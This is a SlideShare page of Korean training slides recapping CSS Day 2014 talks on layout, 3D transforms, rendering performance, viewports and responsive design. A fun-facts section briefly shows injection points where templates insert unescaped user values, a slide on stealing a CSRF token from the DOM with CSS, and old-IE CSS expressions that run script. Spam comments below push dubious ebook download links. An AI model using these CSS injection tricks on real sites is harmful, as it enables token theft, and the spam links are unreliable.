Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
CSS Day 2014, 4th of June, Amsterdam
NHN Technology Services
UIT개발실 민경환
Web Conferences Amsterdam
Organises deep diving web conferences and workshops,
in Amsterdam, with a strong focus on conten...
Conferences so far
dsgn​day, @dsgndayconf
CSS Day, @cssdayconf
CSS Day 2014
CSS Day 2013
Mobilism, @mobilismconf
Mobilism ...
#speackers {
Tab Atkins: "layout";
Ana Tudor: "3d transforms";
David Baron: "animations";
Mathias Bynens: "fun facts";
Pet...
Session 1 - LAYOUT
display : box
display : flexbox
display : flex
WD-css3-flexbox-20090723/ :
WD-css3-flexbox-20110322/ :
WD-css3-flexbox-20120612...
http://codepen.io/korearice/pen/rsgyG
http://codepen.io/korearice/pen/uKoeL
내비게이션
practice
http://codepen.io/korearice/pen/fKjpx
http://codepen.io/korearice/pen/nGczj
채팅창
practice
http://codepen.io/korearice/pen/GvnEF
http://codepen.io/korearice/pen/kgHrG
드랍다운 메뉴
practice
http://codepen.io/korearice/pen/dlGhc/
http://codepen.io/korearice/pen/IEuCs
플렉서블 레이아웃
practice
http://codepen.io/korearice/full/CDasF
Sorting
practice
body {
display:grid;
grid-template: “logo header header”
“logo nav nav”
“news text pics”
“news footer footer”
}
#logo { gr...
key
point
• 레이아웃은 알고리즘화 되야한다
• 그리드를 먼저 계산해라
• UI 인터랙션을 고민하라
• 하위 브라우저는 고정 레이아웃으로
• 응용 사례를 확보하자
Session 2 - 3D TRANSFORMS
입체 피라미드 만들기
간단한 수학공식을 이해한다
이등변 / 정 삼각형을 만든다
입체 피라미드를 쪼갠다
삼각형을 조합 / 변형하여 입체 피라미드를 완성한다
피타고라스의 정리 삼각함수
트랜스폼 속성 이해
practice
cos(α) = (l / 2) / (m / 2)
cos(α) = l / m
tan(α) = d / (l / 2)
스큐적용 후 변의 길이
• 스큐의 각 = 평행사변형의 90°± α
• 스큐의 좌표 값 변화
skewX() : (x, y) → (x + α, y)
skewY() : (x, y) → (x, y + α)
• 좌표의 이동거리 ...
중심각, 내접원, 외접원
중심각, 내접원, 외접원
중심각, 내접원, 외접원
n = 다각형의 개수
β = 360°/n
sin(β/2) = (l/2) / R
→ R = (l/2) / sin(β/2)
tan(β/2) = (l/2) / r
→ r = (l/2) / tan(β/2)
중심각, 내접원, 외...
삼각형 만들기
practice
입체 피라미드 만들기
우리가 알고 있는 것들
• 밑받침 도형의 모서리 길이
• 피라미드 옆면 삼각형의 모서리 길이
• 피라미드 내접원의 반지름
우리가 알아내야 할 것들
• 옆면 삼각형의 중심각
• 피라미드 단면의 측면각...
피라미드 옆면
아크사인 계산로직
http://thesassway.com/advanced/inverse-trigonometric-functions-with-sass
피라미드 단면
입체 피라미드의 구성
• 밑받침 도형의 모서리 길이 : 1
• 밑받침 도형의 꼭지점 각 : 72°
• 피라미드 내접원의 반지름 : .69 * 1
• 피라미드 높이 : ~1/4
• 옆면 삼각형의 높이 : ~.73 * 1
...
피라미드 만들기
practice
http://codepen.io/thebabydino/pen/kpCyx
sam
ple
To do...
key
point
• 모든 다각형은 삼각형으로 부터 시작한다
• 다각형과 입체모형을 어떻게 쪼갤 것인가?
• 각과 모서리의 길이를 확보한다
• CSS 전처리기를 활용하자
• transform 전문인력 양성
Session 3 - ANIMATION
렌더링 절차
html, svg, etc
Content Tree
/ Dom Tree
Construct
(incl, selector
matching)
Redering Tree
/ Frame Tree
(incl, Style)...
파싱
html
head
body
div
h1 p
title
“Web browser’s p..”
“Web browser’s p..” “This is...”
렌더 트리 (프레임 트리)
html
head
body
div
h1 p
title
“Web
browser’s p..”
“Web browser’s p..” “This is...”
View port
Scroll
Block
B...
렌더링 절차
html, svg, etc
Content Tree
/ Dom Tree
Construct
(incl, selector
matching)
Redering Tree
/ Frame Tree
(incl, Style)...
레이어 트레이드 오프
페이지에 따라 레이어가 성능에 미치는 영향이 다를 수 있다
지속적인 프로파일링을 통해 레이어 생성 시점을 탐색하는 것이 중요하다
• 레이어가 적을 경우
요소를 repaint하는 비용이 많이 발생한다...
렌더링 최적화
렌더링 최적화는 렌더링 절차를 최소화 하는 것이다
• 렌더링 최적화가 안된 경우
모든 요소의 Dom style을 다시 계산할 수 있다
• 최적화된 렌더링
전체 렌더링 과정을 생략할 수 있다
부분별 렌더링 ...
단계 건너뛰기
Content
Match
selectors
Compute
style
Contruct
frames
LayoutPaintComposite
DOM
Special-case
optimizations
콜레싱 (Coalescing)
특정 요소에 여러번의 리플로우가 필요할 때 매번 실행하지 않고
변경사항에 대한 큐(대기열)를 설정 후 한번만 실행한다
시간이 경과하거나 변경횟수가 도달했을 때 큐(대기열)를 플러시 하기도 ...
콜레싱 (Coalescing)
특정 스크립트는 리플로우 최적화를 막기도 하고
큐(대기열)를 플러시한 상태인데도 모든 변경사항을 실행한다
• 리플로우 최적화를 방해하는 속성
offset/scroll/client + Top...
콜레싱 (Coalescing)
Content
Match
selectors
Compute
style
Contruct
frames
LayoutPaintComposite
DOM
Special-case
optimizations
CSS 트랜지션
:link {
background-color: #c33;
color: white;
transition: background-color 600ms ease;
}
:link:hover { background...
CSS 애니메이션
@keyframes bounce {
from { transform: translateY(0em) }
to { transform: translateY(-2em) }
}
#ball {
width: 0.5e...
애니메이션 렌더링 절차
Content
Match
selectors
Compute
style
Contruct
frames
LayoutPaintComposite
(most)
Animations
DOM
Special-case...
CSS 애니메이션 특징
CSS 애니메이션은 아래와 같은 특징이 있다
• 스크립트를 사용하지 않아도 된다
• 콜레싱(Coalescing)이 깨질 걱정을 안해도 된다
• opacity, transform 속성 사용시 애니메...
애니메이션 컴포지터 사용
Content
Match
selectors
Compute
style
Contruct
frames
LayoutPaintComposite
(most)
Animations
DOM
Special-cas...
key
point
• reflow와 레이어를 최적화 하자
• 애니메이션은 opacity / transform를 사용하자
• 브라우저마다 다를 수 있다
• 그러므로 끊임없이 프로파일링을 해야한다
Session 4 - FUN FACT
!important
.foo .bar {
color: red;
}
.bar {
color: green !important;
}
요소의 스타일 상속관계를 무시하고 최우선순위로 스타일을 입력할 때
!important 속성을...
!important
.foo .bar {
color: red;
}
.bar.bar.bar.bar.bar {
color: green;
}
요소의 스타일 상속관계를 무시하고 최우선순위로 스타일을 입력할 때
!importan...
Font family names in CSS
html {
font-family: ‘Comic Sans MS’;
}
폰트 패밀리 속성에 공백이 있을 경우 폰트 패밀리 속성을
따옴표로 묶어줘야 한다
Font family names in CSS
html {
font-family: Comic Sans MS;
}
폰트 패밀리 속성에 공백이 있을 경우 폰트 패밀리 속성을
따옴표로 묶어줘야 한다
Font family names in CSS
html {
font-family: 456bereastreet;
}
그러므로 모든 폰트 패밀리 속성은 따옴표 없이 사용해도 된다
Font family names in CSS
html {
font-family: 456bereastreet;
}
그러므로 모든 폰트 패밀리 속성은 따옴표 없이 사용해도 된다
Font family names in CSS
html {
font-family: 34 56bereastreet;
}
html {
font-family: ‘456bereastreet’;
}
첫 글자가 숫자일 경우는 esc...
Attribute values
<a href=”foo”>permalink</a>
<style>
a[href=”foo”] {
background: hotpink
}
</style>
속성 선택자를 사용시 따옴표를 써야한다
Unquoted attribute values
<a href=foo>permalink</a>
<style>
a[href=foo] {
background: hotpink
}
</style>
속성 선택자를 사용시 따옴표를 ...
Unquoted attribute values
<a href=foo?bar>permalink</a>
<style>
a[href=foo?bar] {
background: hotpink
}
</style>
속성 선택자를 사...
CSS comments
.some-selector {
background: hotpink;
/* color: red; */
text-align: center;
}
CSS에서 주석은 블록 코멘트 (/**/) 로 작성해야만...
CSS comments
.some-selector {
background: hotpink;
// color: red;
text-align: center;
}
CSS에서 주석은 블록 코멘트 (/**/) 로 작성해야만 한다...
CSS comments
.some-selector {
background: hotpink;
colour: red;
text-align: center;
}
CSS에서 주석은 블록 코멘트 (/**/) 로 작성해야만 한다
잘...
Valid HTML
<!DOCTYPE html>
<html>
<head>
<title>foo</title>
</head>
<body>
...
</body>
</html>
html은 여는 태그와 함께 닫는 태그를 반드시 ...
Valid HTML
<!DOCTYPE html>
<html>
<head>
<title>hul?</title>
<body>
...
html은 여는 태그와 함께 닫는 태그를 반드시 써줘야 한다
Valid HTML
<!DOCTYPE html>
<title>hul?</title>
...
html은 여는 태그와 함께 닫는 태그를 반드시 써줘야 한다
Valid HTML
<!DOCTYPE html>
<title>hul?</title>
...
html은 여는 태그와 함께 닫는 태그를 반드시 써줘야 한다
Classes and IDs in HTML
<p class="#">Foo.</p>
<p class="##">Bar.</p>
<p class="♥">Baz.</p>
<p class="©">Inga.</p>
<p class...
Classes and IDs in HTML
##id { }
..class { }
##id.class:hover {} { }
##id.class3A hover {} { }
.[attr=‘value’] { }
#34 04-...
Escaping CSS selectors
특수문자로 된 셀렉터는 CSS.escape()속성을 사용한다
var $el = $(‘#’ + CSS.escape(location.hash));
// ...
var $a = $(‘...
Injection contexts
<style>
p { color: <%= USER_COLOR %>;}
</style>
<p>
Hello <%= USER_NAME %>
<a href=” <%= USER_URL %>”>V...
Stealing data from the Dom
<input type=”hidden”
name=”csrf-token”
id=”csrf”
value=”abcdef...”>
요소의 속성값을 이용해 스타일을 변경할 수 있다
...
CSS Expressions in ≤ IE7
CSS Expressions는 IE5 ~ IE7까지 지원된다
#myDiv {
background: hotpink;
position: absolute;
left: express...
CSS Expressions in ≤ IE7
IE5 ~ IE 7 에선 CSS로 alert을 띄운다
* {
width: expressions(
alert(‘Can I use?’);
);
}
CSS Expressions in ≤ IE7
alert을 한번만 띄우려면?
* {
width: expressions(
if (!window.done)
alert(‘Can I use?’),
window.done=1
);
}
CSS Expressions in ≤ IE7
새창도 가능하다
* {
WIT: expressions(
if (!window.done)
alert(‘UIT개발실 블로그’);
open(‘http://wit.nts-corp.c...
key
point
• 때로는 엽기 코딩이 뜻밖의 결과를 가져온다
• 왜인지 알고 쓰자
• 코딩 컨벤션 한번 점검해야하지 않을까?
• IE 5/6/7 너무 무시하지 말자
Session 5 - VIEW PORT
A pixel is not a pixel
픽셀의 종류
픽셀에는 세종류가 있다
• CSS 픽셀 (CSS Pixel)
CSS픽셀은 우리가 CSS에서 흔히 선언하는 width:190px이나
padding-left:20px과 같은 픽셀 단위이다
• 디바이스 픽셀 (D...
34%
뷰포트의 종류
뷰포트에는 두종류가 있다
• 레이아웃 뷰포트(layout viewport)
모바일기기의 기본적으로 레이아웃 뷰포트 사이즈는 768px~1024px 이다.
대부분 980px 사이즈를 많이 사용한다
많은 기술...
뷰포트 사이즈 측정
document.documentElement.clientWidth
document.documentElement.clientHeight
document.documentElement.clientWidth...
아이디얼 뷰포트(ideal viewport)
모바일 디바이스는 데스크탑과 다르게 아이디얼 뷰포트를 가지고 있다
• 모바일 브라우저 벤더는 모든 웹을 디바이스에 최적화시키려 한다
• 그래서 화면을 키우고 줄이는 수고를 덜...
아이디얼 뷰포트 사이즈 측정
screen.width
screen.height
• 아이디얼 뷰포트
몇몇의 브라우저는 screen.width/height를 아이디얼뷰포트 면적으로 계산한다
하지만 그 외의 브라우저는 디바이스...
메타 뷰포트
메타뷰포트로 레이아웃 뷰포트 사이즈를 아이디얼 뷰포트에 맞게 설정한다
• 픽셀단위의 너비값을 설정할 수 있다 (width=400)
• 아이디얼 뷰포트 사이즈를 넣을 수도 있다
메타 뷰포트
메타 뷰포트는 픽셀과 아이디얼뷰포트 비율로 설정할 수 있다
<meta name=”viewport” content=”width=device-width”>
<meta name=”viewport” content=...
메타 뷰포트 - CSS
CSS로 뷰포트를 설정할 수 있다
오페라에서 최초 개발되었고 현재는 IE10/11만 지원한다
@media screen and (min-width: 640px) and
(max-width: 1024...
미디어쿼리
미디어쿼리 사용시 고려해야 할 중요한 두가지가 있다
• device-width (min-device-width and max-device-width)
screen.width와 같은 결과값이다
하지만 몇몇의 기...
픽셀 비율
디바이스의 픽셀수와 아이디얼 뷰포트 사이즈의 비율을 나타낸다
if (window.devicePixelRatio >= 2)
@media all and (
(-webkit-min-device-pixel-ratio...
key
point
• 레이아웃 뷰포트를 아이디얼 뷰포트에 맞춘다
• 자바스크립트로 뷰포트를 측정할 때 디바이스마다
조금씩 다를 수 있다
• 미디어 쿼리로 사이즈를 지정할 때 고정 사이즈 대신
범위 단위로 선언한다 (mi...
Session 6 - EFFORTLESS STYLE
시멘틱 마크업
컴퓨터 프로그램이 웹문서 안의 어떤 정보가 어떤 의미를 가지는지
잘 알아볼 수 있도록 HTML을 작성하는 방법 (의미론적 마크업)
class=” ”
클래식과 시멘틱의 차이
클래식 마크업은 요소 의미에 관계없이 클래스에 의존한 마크업이며
시멘틱 마크업은 요소의 의미를 잘 살린 마크업이다
불필요한 클래스는 제거
시멘틱 마크업만으로도 원하는 디자인을 표현할 수 있다
상호운용성 (Interoperability)
정보처리 관련기기를 이용해서 처리된 정보가 다른 기기 이용자간에 원활하게
교환, 처리 가능한 것을 말하며, 기종이 다른 컴퓨터나 단말기를 연결해서
상호 이용한다는 뜻이다
클래스의 남용
시멘틱 마크업을 위해선 클래스 사용을 자제해야한다
• Presentational Markup
• 중복선언이 많아진다
• 다양한 디자인을 표현하기 힘들다
<ul class=”menu”>
<li class=”...
클래스 없이 표현 - HTML
클래스 없이도 요소를 설명할 수 있는 다양한 방법들이 있다
• Role attribute : 요소의 기능 설명한다
• Type attribute : 요소가 나타내는 기능을 지정한다
(for...
클래스 없이 표현 - CSS
CSS엔 클래스외에도 요소를 선택할 수 있는 다양한 셀렉터가 있다
• Relationship selector : 다음요소를 선택할 수 있다
• Attribute selector : 속성 선택...
#wrap > * + * {
margin-top:20px
}
A “relationship” selector
20px
20px
20px
:nth-child(3n+1) : last-child
7
~ ~
3 items in last row
nth-last-child(3), nth-last-child(3) ~ li
desired width : 100% / 3
@for $i from l through $cols {
li:nth-child(#{$cols}n+1):nth-last-child(#{$i}) {
width: 100% / $i;
& ~ li {
width: 100% / ...
payment page
a[href^=”https”] {
background-image:url(img/lock.png);
}
External page
a[href^="http:"]:not(href*=”this-domain.com”) {
background-image:url(img/ico_external.png);
}
key
point
• 의미에 맞는 태그를 썼으니 클래스는 남용해도
상관없다?
• html 문서 가독성도 시멘틱의 일부이다
• 우리에게 클래스는 마크업 개발자와 프론트엔드
개발자의 영역을 명확하게 구분할 수 있는 중요한
...
Session 7 - RESPONSIVE DESIGN
반응형 웹 구축 순서
1 2 3 4
Width
(폭)
Hierarchy
(계층)
Interaction
(상호작용)
Density
(밀도)
1 2 3 4
Width Hierarchy Interaction Density
940px
220px
742px
174px
좌측메뉴 너비 : 220 x 100 / 940 = 23%
본문 너비 : 720 x 100 / 94...
1 2 3 4
http://tattly.com/
Width Hierarchy Interaction Density
1 2 3 4
http://codepen.io/bradfrost/full/qwJvF
Width Hierarchy Interaction Density
1 2 3 4
http://www.bostonglobe.com/
Width Hierarchy Interaction Density
http://bradfrost.github.io/this-is-responsive/patterns.html
http://mediaqueri.es/
스타벅스
스타일 가이드
http://www.starbucks.com/static/reference/styleguide/
http://www.slideshare.net/deview/1openseminar
key
point
• 때로는 게을러져야 한다
• 버릴건 과감히 버리자
• 개발자들이 더욱 적극적으로 커뮤니케이션을
이끌어야 한다
• 당신이 보는 화면이 끝이 아니다.
• 더 많이 테스트하라
http://cssday.nl/2014
[전파교육] css day 2014
[전파교육] css day 2014
[전파교육] css day 2014
[전파교육] css day 2014
[전파교육] css day 2014
[전파교육] css day 2014
[전파교육] css day 2014
[전파교육] css day 2014
[전파교육] css day 2014
Upcoming SlideShare
Loading in …5
×

[전파교육] css day 2014

1,466 views

Published on

css day 2014 전파교육

Published in: Internet
  • ACCESS that WEBSITE Over for All Ebooks (Unlimited) ......................................................................................................................... DOWNLOAD FULL PDF EBOOK here { http://bit.ly/2m77EgH } ......................................................................................................................... DOWNLOAD FULL EPUB Ebook here { http://bit.ly/2m77EgH } ......................................................................................................................... Download Full PDF EBOOK here { http://bit.ly/2m77EgH } ......................................................................................................................... Download EPUB Ebook here { http://bit.ly/2m77EgH }
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • (Unlimited)....ACCESS WEBSITE Over for All Ebooks ................ accessibility Books Library allowing access to top content, including thousands of title from favorite author, plus the ability to read or download a huge selection of books for your pc or smartphone within minutes ......................................................................................................................... DOWNLOAD FULL PDF EBOOK here { https://urlzs.com/UABbn } ......................................................................................................................... Download Full EPUB Ebook here { https://urlzs.com/UABbn } ......................................................................................................................... Download Full PDF EBOOK here { https://urlzs.com/UABbn }
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • accessibility Books Library allowing access to top content, including thousands of title from favorite author, plus the ability to read or download a huge selection of books for your pc or smartphone within minutes ,Download or read Ebooks here ... ......................................................................................................................... Download FULL PDF EBOOK here { http://bit.ly/2m6jJ5M }
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • accessibility Books Library allowing access to top content, including thousands of title from favorite author, plus the ability to read or download a huge selection of books for your pc or smartphone within minutes.........ACCESS WEBSITE Over for All Ebooks ..... (Unlimited) ......................................................................................................................... Download FULL PDF EBOOK here { https://urlzs.com/UABbn } .........................................................................................................................
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • Download or read that Ebooks here ... ......................................................................................................................... DOWNLOAD FULL PDF EBOOK here { http://bit.ly/2m77EgH } ......................................................................................................................... Download EPUB Ebook here { http://bit.ly/2m77EgH } ......................................................................................................................... Download Doc Ebook here { http://bit.ly/2m77EgH } ......................................................................................................................... .........................................................................................................................
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here

[전파교육] css day 2014

  1. 1. CSS Day 2014, 4th of June, Amsterdam NHN Technology Services UIT개발실 민경환
  2. 2. Web Conferences Amsterdam Organises deep diving web conferences and workshops, in Amsterdam, with a strong focus on content. We (PPK, Krijn Hoetmer, Stephen Hay and Martijn van Duuren) combine deep knowledge of the (mobile) web with the necessary organisational skills.
  3. 3. Conferences so far dsgn​day, @dsgndayconf CSS Day, @cssdayconf CSS Day 2014 CSS Day 2013 Mobilism, @mobilismconf Mobilism 2013 Mobilism 2012 Mobilism 2011 PhoneGap Day EU PhoneGap Day EU 2013 PhoneGap Day EU 2012
  4. 4. #speackers { Tab Atkins: "layout"; Ana Tudor: "3d transforms"; David Baron: "animations"; Mathias Bynens: "fun facts"; Peter-Paul Koch: "viewports"; Heydon Pickering: "effortless style"; Ethan Marcotte: "responsive design"; } Our MC, Stephen Hay
  5. 5. Session 1 - LAYOUT
  6. 6. display : box display : flexbox display : flex WD-css3-flexbox-20090723/ : WD-css3-flexbox-20110322/ : WD-css3-flexbox-20120612/ :
  7. 7. http://codepen.io/korearice/pen/rsgyG http://codepen.io/korearice/pen/uKoeL 내비게이션 practice
  8. 8. http://codepen.io/korearice/pen/fKjpx http://codepen.io/korearice/pen/nGczj 채팅창 practice
  9. 9. http://codepen.io/korearice/pen/GvnEF http://codepen.io/korearice/pen/kgHrG 드랍다운 메뉴 practice
  10. 10. http://codepen.io/korearice/pen/dlGhc/ http://codepen.io/korearice/pen/IEuCs 플렉서블 레이아웃 practice
  11. 11. http://codepen.io/korearice/full/CDasF Sorting practice
  12. 12. body { display:grid; grid-template: “logo header header” “logo nav nav” “news text pics” “news footer footer” } #logo { grid-template: logo;} #header { grid-template: header;} #nav { grid-template: nav;}
  13. 13. key point • 레이아웃은 알고리즘화 되야한다 • 그리드를 먼저 계산해라 • UI 인터랙션을 고민하라 • 하위 브라우저는 고정 레이아웃으로 • 응용 사례를 확보하자
  14. 14. Session 2 - 3D TRANSFORMS
  15. 15. 입체 피라미드 만들기 간단한 수학공식을 이해한다 이등변 / 정 삼각형을 만든다 입체 피라미드를 쪼갠다 삼각형을 조합 / 변형하여 입체 피라미드를 완성한다
  16. 16. 피타고라스의 정리 삼각함수
  17. 17. 트랜스폼 속성 이해 practice
  18. 18. cos(α) = (l / 2) / (m / 2) cos(α) = l / m tan(α) = d / (l / 2)
  19. 19. 스큐적용 후 변의 길이 • 스큐의 각 = 평행사변형의 90°± α • 스큐의 좌표 값 변화 skewX() : (x, y) → (x + α, y) skewY() : (x, y) → (x, y + α) • 좌표의 이동거리 계산 skewX() : α = y * tan(α) skewY() : α = x * tan(α)
  20. 20. 중심각, 내접원, 외접원
  21. 21. 중심각, 내접원, 외접원
  22. 22. 중심각, 내접원, 외접원
  23. 23. n = 다각형의 개수 β = 360°/n sin(β/2) = (l/2) / R → R = (l/2) / sin(β/2) tan(β/2) = (l/2) / r → r = (l/2) / tan(β/2) 중심각, 내접원, 외접원
  24. 24. 삼각형 만들기 practice
  25. 25. 입체 피라미드 만들기 우리가 알고 있는 것들 • 밑받침 도형의 모서리 길이 • 피라미드 옆면 삼각형의 모서리 길이 • 피라미드 내접원의 반지름 우리가 알아내야 할 것들 • 옆면 삼각형의 중심각 • 피라미드 단면의 측면각 • 피라미드의 높이
  26. 26. 피라미드 옆면
  27. 27. 아크사인 계산로직 http://thesassway.com/advanced/inverse-trigonometric-functions-with-sass
  28. 28. 피라미드 단면
  29. 29. 입체 피라미드의 구성 • 밑받침 도형의 모서리 길이 : 1 • 밑받침 도형의 꼭지점 각 : 72° • 피라미드 내접원의 반지름 : .69 * 1 • 피라미드 높이 : ~1/4 • 옆면 삼각형의 높이 : ~.73 * 1 • 옆면 삼각형의 모서리 : .89 * 1 • 옆면 삼각형의 상단 꼭지점 각 : ~2 * asin(.5/1.1) ≅ 53.77° • 단면 삼각형의 옆 꼭지점 각 : 19.92°
  30. 30. 피라미드 만들기 practice
  31. 31. http://codepen.io/thebabydino/pen/kpCyx sam ple To do...
  32. 32. key point • 모든 다각형은 삼각형으로 부터 시작한다 • 다각형과 입체모형을 어떻게 쪼갤 것인가? • 각과 모서리의 길이를 확보한다 • CSS 전처리기를 활용하자 • transform 전문인력 양성
  33. 33. Session 3 - ANIMATION
  34. 34. 렌더링 절차 html, svg, etc Content Tree / Dom Tree Construct (incl, selector matching) Redering Tree / Frame Tree (incl, Style) Paint Layer Composite Screen Script CSS Parse Dom API CSSOM API
  35. 35. 파싱 html head body div h1 p title “Web browser’s p..” “Web browser’s p..” “This is...”
  36. 36. 렌더 트리 (프레임 트리) html head body div h1 p title “Web browser’s p..” “Web browser’s p..” “This is...” View port Scroll Block Block Block Block Block Text Text Document
  37. 37. 렌더링 절차 html, svg, etc Content Tree / Dom Tree Construct (incl, selector matching) Redering Tree / Frame Tree (incl, Style) Paint Layer Composite Screen Script CSS Parse Dom API CSSOM API
  38. 38. 레이어 트레이드 오프 페이지에 따라 레이어가 성능에 미치는 영향이 다를 수 있다 지속적인 프로파일링을 통해 레이어 생성 시점을 탐색하는 것이 중요하다 • 레이어가 적을 경우 요소를 repaint하는 비용이 많이 발생한다 • 레이어가 많을 경우 메모리를 많이 차지한다 각 요소들의 스타일을 병합하는 비용이 많이 발생한다 레이어로 병합하는 것에 대한 성능은 브라우저마다 다를 수 있다
  39. 39. 렌더링 최적화 렌더링 최적화는 렌더링 절차를 최소화 하는 것이다 • 렌더링 최적화가 안된 경우 모든 요소의 Dom style을 다시 계산할 수 있다 • 최적화된 렌더링 전체 렌더링 과정을 생략할 수 있다 부분별 렌더링 과정을 생략할 수 있다 바뀐 부분을 다시 병합할 수 있다
  40. 40. 단계 건너뛰기 Content Match selectors Compute style Contruct frames LayoutPaintComposite DOM Special-case optimizations
  41. 41. 콜레싱 (Coalescing) 특정 요소에 여러번의 리플로우가 필요할 때 매번 실행하지 않고 변경사항에 대한 큐(대기열)를 설정 후 한번만 실행한다 시간이 경과하거나 변경횟수가 도달했을 때 큐(대기열)를 플러시 하기도 한다 • 같은 요소를 두번 변경한 경우 element.style.position = "absolute"; element.style.overflow = "auto"; • 자신을 통해 다른 요소를 핸들링한 경우 element.style.backgroundColor = "aqua"; element.parentNode.style.backgroundColor = "white";
  42. 42. 콜레싱 (Coalescing) 특정 스크립트는 리플로우 최적화를 막기도 하고 큐(대기열)를 플러시한 상태인데도 모든 변경사항을 실행한다 • 리플로우 최적화를 방해하는 속성 offset/scroll/client + Top/Left/Width/Height getComputedStyle() or currentStyle; • 절대로 하지 말 것 for (var i = 0; i < n; ++i) { var photo = document.getElementById("photo" + i); var label = document.getElementById("label" + i); label.style.top = photo.offsetHeight + "px"; }
  43. 43. 콜레싱 (Coalescing) Content Match selectors Compute style Contruct frames LayoutPaintComposite DOM Special-case optimizations
  44. 44. CSS 트랜지션 :link { background-color: #c33; color: white; transition: background-color 600ms ease; } :link:hover { background-color: #c00; }
  45. 45. CSS 애니메이션 @keyframes bounce { from { transform: translateY(0em) } to { transform: translateY(-2em) } } #ball { width: 0.5em; height: 0.5em; background: orange; border-radius: 50%; animation: bounce 600ms infinite alternate cubic-bezier(0.7, 0, 1, 1); }
  46. 46. 애니메이션 렌더링 절차 Content Match selectors Compute style Contruct frames LayoutPaintComposite (most) Animations DOM Special-case optimizations every tick
  47. 47. CSS 애니메이션 특징 CSS 애니메이션은 아래와 같은 특징이 있다 • 스크립트를 사용하지 않아도 된다 • 콜레싱(Coalescing)이 깨질 걱정을 안해도 된다 • opacity, transform 속성 사용시 애니메이션 컴포지터를 사용할 수 있다 • 렌더링 프로세스를 단축할 수 있다
  48. 48. 애니메이션 컴포지터 사용 Content Match selectors Compute style Contruct frames LayoutPaintComposite (most) Animations DOM Special-case optimizations Compositer Animations every tick first tick every tick
  49. 49. key point • reflow와 레이어를 최적화 하자 • 애니메이션은 opacity / transform를 사용하자 • 브라우저마다 다를 수 있다 • 그러므로 끊임없이 프로파일링을 해야한다
  50. 50. Session 4 - FUN FACT
  51. 51. !important .foo .bar { color: red; } .bar { color: green !important; } 요소의 스타일 상속관계를 무시하고 최우선순위로 스타일을 입력할 때 !important 속성을 사용한다
  52. 52. !important .foo .bar { color: red; } .bar.bar.bar.bar.bar { color: green; } 요소의 스타일 상속관계를 무시하고 최우선순위로 스타일을 입력할 때 !important 속성을 사용한다
  53. 53. Font family names in CSS html { font-family: ‘Comic Sans MS’; } 폰트 패밀리 속성에 공백이 있을 경우 폰트 패밀리 속성을 따옴표로 묶어줘야 한다
  54. 54. Font family names in CSS html { font-family: Comic Sans MS; } 폰트 패밀리 속성에 공백이 있을 경우 폰트 패밀리 속성을 따옴표로 묶어줘야 한다
  55. 55. Font family names in CSS html { font-family: 456bereastreet; } 그러므로 모든 폰트 패밀리 속성은 따옴표 없이 사용해도 된다
  56. 56. Font family names in CSS html { font-family: 456bereastreet; } 그러므로 모든 폰트 패밀리 속성은 따옴표 없이 사용해도 된다
  57. 57. Font family names in CSS html { font-family: 34 56bereastreet; } html { font-family: ‘456bereastreet’; } 첫 글자가 숫자일 경우는 escape 문법을 사용하거나 따옴표를 사용한다
  58. 58. Attribute values <a href=”foo”>permalink</a> <style> a[href=”foo”] { background: hotpink } </style> 속성 선택자를 사용시 따옴표를 써야한다
  59. 59. Unquoted attribute values <a href=foo>permalink</a> <style> a[href=foo] { background: hotpink } </style> 속성 선택자를 사용시 따옴표를 쓰지 않아도 된다
  60. 60. Unquoted attribute values <a href=foo?bar>permalink</a> <style> a[href=foo?bar] { background: hotpink } </style> 속성 선택자를 사용시 따옴표를 쓰지 않아도 된다 속성에 특수문자가 있으면 속성 선택자에 반드시 따옴표를 써야한다
  61. 61. CSS comments .some-selector { background: hotpink; /* color: red; */ text-align: center; } CSS에서 주석은 블록 코멘트 (/**/) 로 작성해야만 한다
  62. 62. CSS comments .some-selector { background: hotpink; // color: red; text-align: center; } CSS에서 주석은 블록 코멘트 (/**/) 로 작성해야만 한다 싱글 라인 코멘트(//)도 쓸 수 있다
  63. 63. CSS comments .some-selector { background: hotpink; colour: red; text-align: center; } CSS에서 주석은 블록 코멘트 (/**/) 로 작성해야만 한다 잘못된 속성명으로도 주석 효과를 낼 수 있다
  64. 64. Valid HTML <!DOCTYPE html> <html> <head> <title>foo</title> </head> <body> ... </body> </html> html은 여는 태그와 함께 닫는 태그를 반드시 써줘야 한다
  65. 65. Valid HTML <!DOCTYPE html> <html> <head> <title>hul?</title> <body> ... html은 여는 태그와 함께 닫는 태그를 반드시 써줘야 한다
  66. 66. Valid HTML <!DOCTYPE html> <title>hul?</title> ... html은 여는 태그와 함께 닫는 태그를 반드시 써줘야 한다
  67. 67. Valid HTML <!DOCTYPE html> <title>hul?</title> ... html은 여는 태그와 함께 닫는 태그를 반드시 써줘야 한다
  68. 68. Classes and IDs in HTML <p class="#">Foo.</p> <p class="##">Bar.</p> <p class="♥">Baz.</p> <p class="©">Inga.</p> <p class="{}">Lorem.</p> <p class="“‘’”">Ipsum.</p> <p class="#id">Good luck styling me!</p> <p class=".class">heh</p> <p class="#id.class:hover{}">huh</p> 아이디나 클래스 명칭은 특수문자로 쓸 수 없다
  69. 69. Classes and IDs in HTML ##id { } ..class { } ##id.class:hover {} { } ##id.class3A hover {} { } .[attr=‘value’] { } #34 04-error { } 아이디나 클래스 명칭은 특수문자로 쓸 수 없다 <p id=”#id”> <p class=”.class”> <p id=”#id.class:hover{}”> <p class=”[attr=‘value’]”> <p id=”404-error”>
  70. 70. Escaping CSS selectors 특수문자로 된 셀렉터는 CSS.escape()속성을 사용한다 var $el = $(‘#’ + CSS.escape(location.hash)); // ... var $a = $(‘a[href=”’ + CSS.escape(someValue)) + ‘“]’); // ...
  71. 71. Injection contexts <style> p { color: <%= USER_COLOR %>;} </style> <p> Hello <%= USER_NAME %> <a href=” <%= USER_URL %>”>View your account</a>. </p> <script> window.userID = <%= USER_ID %>; </script> 스타일을 동적으로 관리하기 위해 서버데이터를 받아올 수 있다
